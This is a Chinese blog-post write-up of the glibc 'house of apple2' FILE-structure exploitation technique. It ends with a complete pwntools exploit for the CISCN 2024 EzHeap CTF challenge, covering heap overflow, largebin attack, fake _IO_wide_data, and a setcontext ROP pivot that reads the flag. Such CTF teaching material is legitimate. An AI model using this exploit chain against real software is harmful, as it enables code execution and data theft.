当前位置: 首页 > news >正文

house of apple2

house of apple2

这里以CISCN 2024 初赛的Ezheap为例子

前置

_IO_wfile_jumps

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_new_file_finish),JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),JUMP_INIT(xsputn, _IO_wfile_xsputn),JUMP_INIT(xsgetn, _IO_file_xsgetn),JUMP_INIT(seekoff, _IO_wfile_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_new_file_setbuf),JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),JUMP_INIT(doallocate, _IO_wfile_doallocate),JUMP_INIT(read, _IO_file_read),JUMP_INIT(write, _IO_new_file_write),JUMP_INIT(seek, _IO_file_seek),JUMP_INIT(close, _IO_file_close),JUMP_INIT(stat, _IO_file_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

_IO_wide_data

struct _IO_wide_data
{wchar_t *_IO_read_ptr;	/* Current read pointer */wchar_t *_IO_read_end;	/* End of get area. */wchar_t *_IO_read_base;	/* Start of putback+get area. */wchar_t *_IO_write_base;	/* Start of put area. */wchar_t *_IO_write_ptr;	/* Current put pointer. */wchar_t *_IO_write_end;	/* End of put area. */wchar_t *_IO_buf_base;	/* Start of reserve area. */wchar_t *_IO_buf_end;		/* End of reserve area. *//* The following fields are used to support backing up and undo. */wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */wchar_t *_IO_backup_base;	/* Pointer to first valid character ofbackup area */wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */__mbstate_t _IO_state;__mbstate_t _IO_last_state;struct _IO_codecvt _codecvt;wchar_t _shortbuf[1];const struct _IO_jump_t *_wide_vtable;
};

分析

_IO_wfile_overflow

保证函数的调用链如下:

_IO_wfile_overflow_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下:
首先看_IO_wfile_overflow函数

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{if (f->_flags & _IO_NO_WRITES) /* SET ERROR */{f->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return WEOF;}/* If currently reading or no buffer allocated. */if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0){/* Allocate a buffer if needed. */if (f->_wide_data->_IO_write_base == 0){_IO_wdoallocbuf (f);// 需要走到这里// ......}}
}

这里要走到_IO_wdoallocbuf,需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0

然后看_IO_wdoallocbuf函数:

void
_IO_wdoallocbuf (FILE *fp)
{if (fp->_wide_data->_IO_buf_base)return;if (!(fp->_flags & _IO_UNBUFFERED))if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用return;_IO_wsetb (fp, fp->_wide_data->_shortbuf,fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

这里要调用 _IO_WDOALLOCATE 函数 也就是 *call (fp->_wide_data->_wide_vtable + 0x68)(fp) 要把flag标志位置为 0

如果是 ~(2 | 0x8 | 0x800) 就不会执行 _IO_WDOALLOCATE 而是直接返回到_IO_wfile_overflow如下图:

image-20250626212925635

当flag为0时调用:

image-20250626223506969

这是要调用fp->_wide_data->_wide_vtable + 0x68,这里rdi的值是我们伪造的IO_list_all的chunk地址

image-20250626223345817

由于glibc-2.29以及之后setcontext是用rdx进行传参,而这里的rdx也在_IO_wfile_overflow+32被改为了我们的IO_wide_date_chunk 的地址。并且在后面没有对其进行过修改。

33e820d57a7b5e47c3570f7b6cbc3e80

image-20250626223306120

综上所述我们只需要改写:

  1. IO_list_all 中flag == 0;
  2. write_ptr>write_base (IO_list_all中的和IO_wide_date中的都要满足write_ptr>write_base);
  3. _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  4. _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  5. _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  6. _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C (一般设置为setcontext+61,来进行栈迁移)
  7. vtable设置为_IO_wfile_jumps

CISCN 2024 初赛的Ezheap

image-20250626224752968

如上图所示该题存在堆溢出漏洞,无其他漏洞。

通过largebin attack泄露libc和堆地址,劫持_IO_list_all。修改vtable_IO_wfile_jumps

然后修改_IO_wide_data,和_IO_wide_data->wide_vtable ,把IO_wide_data->wide_vtable+0x68 处的地址换成setcontext+61执行我们的ORW.

EXP(对部分代码做出了解释):

from pwn import *
from LibcSearcher import *context(log_level='debug',arch='amd64', os='linux')pwnfile = "./EzHeap"
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))def add(size,data):sla(b"choice >> ",b"1")sla(b"size:",str(size))ru(b"content:")s(data)def free(idx):sla(b"choice >> ",b"2")sla(b"idx:",str(idx))def edit(idx,size,data):sla(b"choice >> ",b"3")sla(b"idx:",str(idx))sla(b"size:",str(size))ru(b"content:")s(data)def show(idx):sla(b"choice >> ",b"4")sla(b"idx:",str(idx))def pwn():# 构造堆风水,泄露处 libc和heap的地址add(0x200,b"aaaa") #0add(0x410,b"aaaa")#1add(0x410,b"aaaa")#2add(0x420,b"aaaa")#3add(0x410,b"aaaa")#4edit(1,0x500,b"\x00"*0x418+p64(0x851))free(2)add(0x410,b"bbbb")#2show(3)main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-96libc_base = main_arena-0x21ac80IO_list_all = libc_base+libc.sym['_IO_list_all']io_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']setcontext = libc_base+libc.sym['setcontext']pop_rdi = libc_base+0x000000000002a3e5pop_rsi = libc_base+0x000000000002be51pop_rdx_r12 = libc_base+0x000000000011f2e7syscall = libc_base+0x91316pop_rax = libc_base+0x0000000000045eb0ret = libc_base+0x0000000000029139leak("libc_base",libc_base)#leak heapadd(0x430,b"aaaa") #5edit(3,0x500,b"a"*15+b"b")show(3)ru(b"ab")heap_addr = u64(r(6).ljust(8,b"\x00"))-0x420*2-0x210leak("heap_addr",heap_addr)#利用large bin attack篡改_IO_list-all处的值为我们的chunkedit(3,0x500,p64(main_arena)*2+p64(0)+p64(IO_list_all-0x20))free(1)add(0x430,b"aaaa") 	#6#fake IO_list_allIO_wide_date_chunk = heap_addr+0x10fake_io_file = p64(0)*2fake_io_file += p64(0)+p64(1)+p64(0)fake_io_file = fake_io_file.ljust(0xa0-0x10,b"\x00")fake_io_file += p64(IO_wide_date_chunk)fake_io_file = fake_io_file.ljust(0xc0-0x10,b"\x00")fake_io_file += p64(1)fake_io_file += p64(0)*2fake_io_file += p64(io_wfile_jumps)edit(0,0x500,b"\x00"*0x200+p64(0)+p64(0x421)+fake_io_file)#fake wide_dataedit(2,0x10,b"flag\x00\x00\x00\x00")open_file_chunk_addr = heap_addr+0x210+0x420+0x10		#这里是我们要打开的文件名所在的堆地址,是我所创建的chunk2ROP = flat(pop_rdi,open_file_chunk_addr,pop_rsi,0,pop_rax,2,syscall)ROP += flat(pop_rdi,3,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,0,syscall)ROP += flat(pop_rdi,1,pop_rsi,open_file_chunk_addr+0x100,pop_rdx_r12,0x50,0,pop_rax,1,syscall)Stack_migration_chunk = heap_addr+0x10		#fake_wide_date = p64(0)*3fake_wide_date += p64(0)	#write_basefake_wide_date += p64(1)  #write_ptrfake_wide_date = fake_wide_date.ljust(0x68,b"\x00")fake_wide_date += p64(setcontext+61)	#call fp->_wide_data->_wide_vtable + 0x68fake_wide_date = fake_wide_date.ljust(0xa0,b"\x00")fake_wide_date += p64(Stack_migration_chunk+0xe8) #这里是setcontext中的set rsp,把其设置为我们ROP所在的地址fake_wide_date += p64(ret)				#setcontext中有个push rcx ,rcx在0xa8处fake_wide_date = fake_wide_date.ljust(0xe0,b"\x00")fake_wide_date += p64(Stack_migration_chunk) #fake wide_vtablefake_wide_date += ROPedit(0,0x500,fake_wide_date)# gdb.attach(io,'b *_IO_wfile_overflow')sla(b"choice >> ",b"5")itr()if __name__ == "__main__":while True:io = process(pwnfile)try:pwn()except:io.close()

image-20250626225333576

http://www.lryc.cn/news/575383.html

相关文章:

  • Linux系统(信号篇):信号的产生
  • 【Pandas】pandas DataFrame shift
  • Ubuntu下布署mediasoup-demo
  • 黑马JVM解析笔记(四):Javap图解指令流程,深入理解Java字节码执行机制
  • Redis 为什么选用跳跃表,而不是红黑树
  • 《聊一聊ZXDoc》之汽车标定、台架标定、三高标定
  • 【STM32】外部中断
  • 【C++11】右值引用和移动语义
  • gRPC 使用(python 版本)
  • 2025学年湖北省职业院校技能大赛 “信息安全管理与评估”赛项 样题卷(五)
  • Axure版TDesign 组件库-免费版
  • MQTT 和 HTTP 有什么本质区别?
  • 如何将 Memfault 固件 SDK 集成到使用 Nordic 的 nRF Connect SDK(NCS)的项目中
  • 数据结构进阶 - 第四,五章 串、数组和广义表
  • Docker 入门教程(一):从概念到第一个容器
  • 水质指数预测模型R²偏低的原因分析与优化策略
  • 2-深度学习挖短线股-1-股票范围选择
  • uniapp微信小程序:editor组件placeholder字体样式修改
  • vue3 + elementPlus 封装hook,检测form表单数据修改变更;示例用 script setup 语法使用
  • SpringBoot项目快速开发框架JeecgBoot——Web处理!
  • 一次开发,多端适配!全面掌握Dioxus跨平台开发框架!
  • 远程玩3A大作要多少帧?ToDesk、向日葵、UU远程性能对决
  • 面试破局:告别流水账,用“故事思维”重塑自我介绍
  • rocketmq中broker和namesrv的区别和联系?
  • 川翔云电脑全新上线:三维行业高效云端算力新选择
  • 智能化监管:微算法科技(NASDAQ:MLGO)比特币社区分类器助力加密货币市场规范发展
  • CRON表达式编辑器与定时任务实现技术文档
  • 阿里云ACP-检索分析服务
  • fnm node包管理器
  • 《解锁FFmpeg - python:开启多媒体处理新时代》